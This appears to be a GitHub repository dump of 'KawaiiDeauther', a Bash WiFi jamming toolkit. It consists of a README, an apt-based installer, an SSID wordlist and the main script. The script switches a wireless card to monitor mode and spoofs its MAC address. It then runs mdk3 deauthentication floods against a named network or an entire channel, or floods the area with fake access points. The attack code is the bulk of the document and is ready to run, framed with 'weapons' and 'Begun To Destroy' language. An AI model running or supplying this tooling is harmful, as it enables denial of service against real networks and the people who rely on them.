├── README.md
├── install.sh
├── ssid_list.txt
├── KawaiiDeauther.sh
└── LICENSE
/README.md:
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1 | # KawaiiDeauther
2 | [](https://github.com/aryanrtm/KawaiiDeauther/blob/master/LICENSE) []() []() [](https://asciinema.org/a/294970)
3 |
4 |
5 | ***Kawaii Deauther*** is a pentest toolkit whose goal is to perform jam on WiFi clients/routers and spam many fake AP for testing purposes.
6 |
7 | 
8 |
9 |
10 | Dependencies
11 | =
12 |
13 | - macchanger
14 | - mdk3
15 | - nmcli
16 |
17 |
18 | Installation
19 | =
20 | Dependencies will be automatically installed.
21 |
22 | $ git clone https://github.com/aryanrtm/KawaiiDeauther
23 | $ cd KawaiiDeauther && sudo ./install.sh
24 | $ sudo KawaiiDeauther.sh
25 |
26 |
27 | Demo
28 | =
29 | [](https://asciinema.org/a/294970?autoplay=1&loop=1)
30 |
31 |
32 | Tested on
33 | =
34 |
35 |
36 |
37 | | Operating System |
38 | Version |
39 |
40 |
41 | | Linux Mint |
42 | 19.2 Tina |
43 |
44 |
45 |
46 |
47 | Features
48 | =
49 | - Takedown with SSID
50 | - Takedown all channels
51 | - Spam many fake AP
52 |
53 |
54 | Contact
55 | =
56 | - Twitter: @4wsec_
57 |
58 |
59 | License
60 | =
61 | GNU General Public License v3.0
62 |
63 |
64 | Copyright
65 | =
66 | Kawaii Deauther is made with ❤️ by Arya Narotama - Anon Cyber Team - 2020
67 |
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/install.sh:
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1 | #!/bin/bash
2 |
3 | # The installer for the Kawaii Deauther package
4 | # Kawaii Deauther is made with <3 by Arya Narotama - 2020
5 |
6 | ### Colors ###
7 | BK=$(tput setaf 0) # Black
8 | GR=$(tput setaf 2) # Green
9 | RD=$(tput setaf 1) # Red
10 | YW=$(tput setaf 3) # Yellow
11 | CY=$(tput setaf 6) # Cyan
12 | WH=$(tput setaf 7) # White
13 | NT=$(tput sgr0) # Netral
14 | BD=$(tput bold) # Bold
15 | BG=$(tput setab 4) # Background Color
16 |
17 |
18 | # Function for displaying banner
19 | function banner () {
20 | printf "${BD}
21 | ${GR}┊┊ ${WH}╭━━━━━━
22 | ${GR}┊┊┊┊${YW}╭━╱▔▔▔╲━╮${GR}┊┊${YW}☼ ${WH}╭╯${RD}Kawaii
23 | ${GR}┊╱╲┊${YW}╰▏▆┊┊┊▇▕╯${GR}╱╲┊ ${WH}┃${RD}DEAUTHER
24 | ${GR}▔▔▔▔▔${YW}▏┊┊▇┊┊▕${GR}▔▔▔▔ ${WH}╰┳━━━━━━
25 | ${GR}┈${YW}╱▔▔╱┊┊━┻━┊┊╲▔▔╲ ${WH}━━╯${YW}
26 | ${GR}┈${YW}╲▂╱╭━━╮┊╭━━╮╲▂╱
27 | ${GR}┈┈${YW}▔▔╰┻┻╯▔╰┻┻╯▔▔${GR}┈┈ ${RD}© 4WSec - 2020
28 |
29 | "
30 | }
31 |
32 | # Checking root
33 | function chk_root () {
34 | if [[ "$(id -u)" -ne 0 ]]; then
35 | clear
36 | banner
37 | printf " ${BD}${WH}[${RD}!${WH}] ${RD}KawaiiDeauther must be run as root ${YW}｡ﾟ･（>﹏<）･ﾟ｡\n"
38 | exit 1
39 | fi
40 | }
41 |
42 | # Dependencies
43 | function checking_dependencies () {
44 | clear
45 | banner
46 | if [[ -f "dependencies.conf" ]]; then
47 | sleep 1
48 | else
49 | printf " ${BD}${WH}[${RD}!${WH}] ${CY}Checking Guns ${WH}..........\n"
50 | echo ""
51 | touch dependencies.conf
52 | echo "# 4WSec Just Dropped Yo Wireless" >> dependencies.conf
53 | sleep 1
54 |
55 | # Checking MDK3
56 | which mdk3 > /dev/null 2>&1
57 | if [[ $? -eq 0 ]]; then
58 | printf " ${YW}MDK3 ${WH}.......... ${WH}[${GR}✔${WH}]\n"
59 | echo "mdk3 = yes" >> dependencies.conf
60 | else
61 | printf " ${YW}MDK3 ${WH}.......... ${WH}[${RD}✘${WH}]\n"
62 | sleep 1
63 | apt-get install mdk3 -y
64 | fi
65 |
66 | # Checking Network Manager
67 | which nmcli > /dev/null 2>&1
68 | if [[ $? -eq 0 ]]; then
69 | printf " ${YW}Network Manager ${WH}.......... ${WH}[${GR}✔${WH}]\n"
70 | echo "nmcli = yes" >> dependencies.conf
71 | else
72 | printf " ${YW}Network Manager ${WH}.......... ${WH}[${RD}✘${WH}]\n"
73 | sleep 1
74 | apt-get install network-manager -y
75 | fi
76 |
77 | # Checking MAC Changer
78 | which macchanger > /dev/null 2>&1
79 | if [[ $? -eq 0 ]]; then
80 | printf " ${YW}MAC Changer ${WH}.......... ${WH}[${GR}✔${WH}]\n"
81 | echo "macchanger = yes" >> dependencies.conf
82 | else
83 | printf " ${YW}MAC Changer ${WH}.......... ${WH}[${RD}✘${WH}]\n"
84 | sleep 1
85 | apt-get install macchanger -y
86 | fi
87 | sleep 5
88 | fi
89 | }
90 |
91 | chk_root
92 | checking_dependencies
93 | printf " \n ${WH}[${GR}✔${WH}] ${GR}All weapons are ready!\n"
94 |
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/ssid_list.txt:
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1 | You drime me crazy
2 | go up and never stop
3 | become who you are
4 | oh.
5 | peace begins with smile
6 | you are enough
7 | be happy and smile
8 | stay hungry. stay foolish.
9 | not happy, not sad. but empty
10 | i miss the oldm happy me
11 | and i'm sad, again
12 | i miss smiling
13 | i feel so left out
14 | feelings sucks
15 | pain in my heart
16 | so many tears for nothing
17 | i wish letting go is easy
18 | they're erasing you
19 | she's lost inside
20 | my mind is a mess
21 | i'm done
22 | i'm just sad most days
23 | my love is so tired
24 | i'm so tired of being me
25 | it's hurting again
26 | i hate my life
27 | out of order
28 | nothing is like it was
29 | hello darkness, my old friend
30 | heartbreak changes people
31 | stay in bed today
32 | where is my mind?
33 | this is taking forever
34 | let it go
35 | Eka Sri Susman
36 | Utari Intan Tan
37 | Radja Niu
38 | Fangestu Kwong
39 | Izza Loppies
40 | Sapphira Siburian
41 | Zipporah Simbolon
42 | Talitha Daransi
43 | Dyatmiyati
44 | Suminten
45 | Lanny Ida Budiono
46 | Utari Eko Halim
47 | Tejarukmana Huilang
48 | Sanggalo Lee
49 | Germ Tutuarima
50 | Abishai Batuara
51 | Zilpah Sinuraya
52 | Eunice Sitio
53 | Susanti
54 | Surati
55 | Shiloh Lumbantungkup
56 | Farida Bulan Johan
57 | Erlin Wangi Dharmawijaya
58 | Wanandi Xueman
59 | Loekman Jia
60 | Mastoora Faud
61 | Loki Aimes
62 | Victor Drabek
63 | Salvotore Breedlove
64 | Charles Angelsin
65 | Thor Graves
66 | Archer Roseberg
67 | Alder Wood
68 | Duke Bloodworth
69 | Eike Morgan
70 | Sephiran Shadowmend
71 | Larsa Tombend
72 | Weiss Ebonywood
73 | Adaranth Maganti
74 | Adaranth Mock
75 | Raven Magnus
76 | Amada Chainsaw
77 | Lauden Deamonne
78 | Jinx Bloodworth
79 | Nash Manglyeong
80 | Lexx Hook
81 | Moon Rex
82 | Dominique Fade
83 | Finch Breedlove
84 | Freed Carpathia
85 | Marth Shackleton
86 | Elliot Sephiran
87 | Brink Winter
88 | Enigma Steros
89 | Alex Shackleton
90 | Laguna Dred
91 | Jinx Thornton
92 | Pandora Le Torneau
93 | Inigo Roseberg
94 | Bryce Sephiran
95 | Griffin Dukes
96 | Rogue Shade
97 | Amada Barkridge
98 | Fane Killoran
99 | Ymo Maleficum
100 | Zero Malum
101 | Vesh Fang
102 | Amarant Crane
103 | Omen Crane
104 | Shayde Moriarty
105 | Axel Bloodgood
106 | Seren Heliot
107 | Gabriel Digby
108 | Klyn Shade
109 | Mace Skinner
110 | Ecthrois Devonshire
111 | Kamisu Rinori
112 | Asazato Hyomei
113 | Dobata Miyakko
114 | Yoshitsuki Yasuhachi
115 | Shinosato Hamitsu
116 | Yadakaga Yugomon
117 | Hiroshita Tamahei
118 | Hinobu Gonari
119 | Arama Utanibu
120 | Sakakaki Yashige
121 | Kukaki Chinatsuyo
122 | Shirahira Mayomaki
123 | Kaba Mariyoko
124 | Inaruta Rurisago
125 | Higakami Jona
126 | Natsudera Uratu
127 | Kamibashi Tomochiko
128 | Adamoto Kiosago
129 | Edafumi Teharu
130 | Kuroyama Rinasami
131 | Mitsugita Akokeno
132 | Horiken Yasuhomi
133 | Amiroma Shiki
134 | Yakunaga Yumime
135 | Hagimuro Sumeki
136 | Iwakida Tsukura
137 | Uyekuma Aisu
138 | Hahira Sayokumi
139 | Tomoto Tomoruri
140 | Fujitomi Ichifuyu
141 | Mochikuda Esa
142 | Isetaki Kikichi
143 | Sugihoshi Takahori
144 | Katasuchi Yasuhori
145 | Kazekuwa Ayano
146 | Kanaka Hoshizu
147 | Zaken Milizuki
148 | Habi Akotu
149 | Omotomi Urarumi
150 | Wakamachi Oririse
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/KawaiiDeauther.sh:
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1 | #!/bin/bash
2 |
3 | # Name: Kawaii Deauther
4 | # Author: Arya Narotama (4WSec)
5 | # Github: github.com/aryanrtm
6 | # Instagram: instagram.com/aryanrtm_
7 | # Give me the credits if you recode this tool. Don't be a SKID!
8 | # Kawaii Deauther is made with <3 by Arya Narotama - Anon Cyber Team - 2020
9 |
10 |
11 | ### Colors ###
12 | BK=$(tput setaf 0) # Black
13 | GR=$(tput setaf 2) # Green
14 | RD=$(tput setaf 1) # Red
15 | YW=$(tput setaf 3) # Yellow
16 | CY=$(tput setaf 6) # Cyan
17 | WH=$(tput setaf 7) # White
18 | NT=$(tput sgr0) # Netral
19 | BD=$(tput bold) # Bold
20 | BG=$(tput setab 4) # Background Color
21 |
22 |
23 | # Check root
24 | function chk_root () {
25 | if [[ "$(id -u)" -ne 0 ]]; then
26 | banner
27 | printf " ${BD}${WH}[${RD}!${WH}] ${RD}KawaiiDeauther must be run as root ${YW}｡ﾟ･（>﹏<）･ﾟ｡\n"
28 | exit 1
29 | fi
30 | }
31 |
32 | # Function for displaying banner
33 | function banner () {
34 | printf "${BD}
35 | ${GR}┊┊ ${WH}╭━━━━━━
36 | ${GR}┊┊┊┊${YW}╭━╱▔▔▔╲━╮${GR}┊┊${YW}☼ ${WH}╭╯${RD}KAWAII
37 | ${GR}┊╱╲┊${YW}╰▏▆┊┊┊▇▕╯${GR}╱╲┊ ${WH}┃${RD}DEAUTHER ${NT}${CY}v1.2${BD}
38 | ${GR}▔▔▔▔▔${YW}▏┊┊▇┊┊▕${GR}▔▔▔▔ ${WH}╰┳━━━━━━
39 | ${GR}┈${YW}╱▔▔╱┊┊━┻━┊┊╲▔▔╲ ${WH}━━╯${YW}
40 | ${GR}┈${YW}╲▂╱╭━━╮┊╭━━╮╲▂╱
41 | ${GR}┈┈${YW}▔▔╰┻┻╯▔╰┻┻╯▔▔${GR}┈┈ ${RD}© 4WSec - 2020
42 |
43 | ${NT}${WH}[${RD}!${WH}] I am not responsible for damage caused by ${BD}${GR}Kawaii Deauther${WH}${NT}.
44 | Attacking targets without prior mutual consent is ${BD}${RD}illegal${NT}!${BD}
45 |
46 | "
47 | }
48 |
49 | function banner_2 () {
50 | printf "
51 | ${BD}${RD}
52 | \t@@@@@ @@@@@
53 | \t@@@@@@@ @@@@@@@
54 | \t@@@@@@@ @@@@@@@@@@@@@@@ @@@@@@@
55 | \t @@@@@@@@ @@@@@@@@@@@@@@@@@@@ @@@@@@@@
56 | \t @@@@@ @@@@@@@@@@@@@@@@@@@@@ @@@@@
57 | \t @@@@@ @@@@@@@@@@@@@@@@@@@@@@@ @@@@@
58 | \t @@ @@@@@@@@@@@@@@@@@@@@@@@@@ @@
59 | \t @@@@@@@ @@@@@@ @@@@@@
60 | \t @@@@@@ @@@@ @@@@@
61 | \t @@@@@@ @@@@ @@@@@
62 | \t @@@@@@ @@@@@@ @@@@@
63 | \t @@@@@@@@@@ @@@@@@@@@
64 | \t @@@@ @@@@ ${WH}@ @ @ @ ${RD}@@@@ @@@@
65 | \t @@@@@ @@@ ${WH}@ @ @ @ ${RD}@@@ @@@@@
66 | \t @@@@@ @@@@@@@@@@@@@ @@@@@
67 | \t @@@@ @@@@@@@@@@@ @@@@
68 | \t @@@@@ @@@@@@@ @@@@@
69 | \t @@@@@@@ @@@@@@@
70 | \t @@@@@ @@@@@
71 |
72 |
73 | "
74 | }
75 |
76 | # Function to get the interface
77 | function get_interface () {
78 | printf " ${BD}${GR}Interface List ${WH}\n"
79 | printf " ==============\n\n"
80 | interface=$(ifconfig -a | sed 's/[ \t].*//;/^$/d' | tr -d ':' > .iface.tmp)
81 | con=1
82 | for x in $(cat .iface.tmp); do
83 | printf "${WH}%s) ${GR}%s\n" $con $x
84 | let con++
85 | done
86 | echo -ne "\n${RD}4WSec${GR}@${RD}Kawaii: ${WH}>> "; read iface
87 | selected_interface=$(sed ''$iface'q;d' .iface.tmp)
88 | IFS=$'\n'
89 | }
90 |
91 | # Function to enable changing to monitor mode
92 | function monitor_mode () {
93 | ifconfig $selected_interface down
94 | iwconfig $selected_interface mode monitor
95 | # Change MAC Address
96 | macchanger -r $selected_interface
97 | ifconfig $selected_interface up
98 | }
99 |
100 | # Function to deactivate monitor mode
101 | function deactivate_destruction () {
102 | clear
103 | sleep 3
104 | ifconfig $selected_interface down >> /dev/null 2>&1
105 | macchanger -p $selected_interface >> /dev/null 2>&1
106 | iwconfig $selected_interface mode managed >> /dev/null 2>&1
107 | ifconfig $selected_interface up >> /dev/null 2>&1
108 | clear
109 | banner
110 | printf " ${BD}${WH}[${RD}*${WH}] ${RD}Deactivate Destruction ...\n"
111 | printf " ${BD}${WH}[${RD}*${WH}] ${RD}Arigatō, Nyan ... ${GR}~(=^‥^)丿\n"
112 | rm -f .iface.tmp
113 | exit
114 | }
115 |
116 | function deactivate_destruction_2 () {
117 | clear
118 | sleep 3
119 | ifconfig $selected_interface down >> /dev/null 2>&1
120 | macchanger -p $selected_interface >> /dev/null 2>&1
121 | iwconfig $selected_interface mode managed >> /dev/null 2>&1
122 | ifconfig $selected_interface up >> /dev/null 2>&1
123 | nmcli device connect $selected_interface >> /dev/null 2>&1
124 | clear
125 | banner
126 | printf " ${BD}${WH}[${RD}*${WH}] ${RD}Deactivate Destruction ...\n"
127 | printf " ${BD}${WH}[${RD}*${WH}] ${RD}Arigatō, Nyan ... ${GR}~(=^‥^)丿\n"
128 | rm -f .iface.tmp
129 | rm -f $rand_ssid"_list.txt"
130 | exit
131 | }
132 |
133 | ### Menu ###
134 | clear
135 | chk_root
136 | banner
137 | printf " ${WH}1) ${GR}Takedown with SSID\n"
138 | printf " ${WH}2) ${GR}Takedown all channels\n"
139 | printf " ${WH}3) ${GR}Spam many fake AP\n"
140 | printf " ${WH}4) ${GR}Exit\n"
141 | echo -ne "\n${RD}4WSec${GR}@${RD}Kawaii: ${WH}>> "; read attack
142 | clear
143 |
144 | if [[ $attack == 1 ]]; then
145 | banner
146 | printf "${NT}\n"
147 | nmcli dev wifi
148 | echo -ne "\n${RD}4WSec${GR}@${RD}Kawaii: ${WH}>> "; read attck_ssid
149 | clear
150 | banner
151 | get_interface
152 | clear
153 | banner_2
154 | printf " ${WH}[ ${GR}Kawaii Deauther ${WH}]\n"
155 | printf " ${WH}===== ${RD}(◣_◢) Begun To Destroy (◣_◢) ${WH}=====\n\n"
156 | monitor_mode >> /dev/null 2>&1
157 | trap deactivate_destruction EXIT ### CTRL+C to exit
158 | mdk3 $selected_interface d -n "$attck_ssid"
159 | elif [[ $attack == 2 ]]; then
160 | banner
161 | printf "${NT}\n"
162 | nmcli dev wifi
163 | echo -ne "\n${RD}4WSec${GR}@${RD}Kawaii: ${WH}>> "; read attck_chnl
164 | clear
165 | banner
166 | get_interface
167 | clear
168 | banner_2
169 | printf " ${WH}[ ${GR}Kawaii Deauther ${WH}]\n"
170 | printf " ${WH}===== ${RD}(◣_◢) Begun To Destroy (◣_◢) ${WH}=====\n\n"
171 | monitor_mode >> /dev/null 2>&1
172 | trap deactivate_destruction EXIT ### CTRL+C to exit
173 | mdk3 $selected_interface d -c $attck_chnl
174 | elif [[ $attack == 3 ]]; then
175 | banner
176 | get_interface
177 | clear
178 | banner
179 | printf "${WH}1) ${GR}Use default wordlist\n"
180 | printf "${WH}2) ${GR}Use custom wordlist\n"
181 | echo -ne "\n${RD}4WSec${GR}@${RD}Kawaii: ${WH}>> "; read spm
182 | if [[ $spm == 1 ]]; then
183 | nmcli device disconnect $selected_interface >> /dev/null 2>&1
184 | clear
185 | banner_2
186 | trap deactivate_destruction_2 EXIT ### CTRL+C to exit
187 | sleep 2
188 | printf " ${WH}[ ${GR}Kawaii Deauther ${WH}]\n"
189 | printf " ${WH}===== ${RD}(◣_◢) Begun To Destroy (◣_◢) ${WH}=====\n\n"
190 | ifconfig $selected_interface down
191 | macchanger -r $selected_interface >> /dev/null 2>&1
192 | iwconfig $selected_interface mode monitor
193 | ifconfig $selected_interface up
194 | trap deactivate_destruction_2 EXIT ### CTRL+C to exit
195 | mdk3 $selected_interface b -f ssid_list.txt -a -s 1000
196 | elif [[ $spm == 2 ]]; then
197 | con=1
198 | nmcli device disconnect $AD > /dev/null 2>&1
199 | clear
200 | banner
201 | printf "\n${RD}4WSec${GR}@${RD}Kawaii${WH}(SSID(Name of Network)) >> "; read rand_ssid;
202 | printf "\n${RD}4WSec${GR}@${RD}Kawaii${WH}(How Many SSID) >> "; read con_ssid;
203 | for x in $(seq 1 $con_ssid); do
204 | echo "$rand_ssid $x" >> $rand_ssid"_list.txt"
205 | done
206 | wait
207 | clear
208 | banner_2
209 | trap deactivate_destruction_2 EXIT ### CTRL+C to exit
210 | sleep 2
211 | printf " ${WH}[ ${GR}Kawaii Deauther ${WH}]\n"
212 | printf " ${WH}===== ${RD}(◣_◢) Begun To Destroy (◣_◢) ${WH}=====\n\n"
213 | ifconfig $selected_interface down
214 | macchanger -r $selected_interface >> /dev/null 2>&1
215 | iwconfig $selected_interface mode monitor
216 | ifconfig $selected_interface up
217 | trap deactivate_destruction_2 EXIT
218 | mdk3 $selected_interface b -f $rand_ssid"_list.txt" -a -s 1000
219 | else
220 | printf " ${BD}${WH}[${RD}!${WH}] ${RD}Invalid Option ...\n"
221 | sleep 4
222 | trap deactivate_destruction_2 EXIT ### CTRL+C to exit
223 | fi
224 | else
225 | printf " ${BD}${WH}[${RD}!${WH}] ${RD}Invalid Option ...\n"
226 | sleep 4
227 | trap deactivate_destruction EXIT ### CTRL+C to exit
228 | fi
229 |
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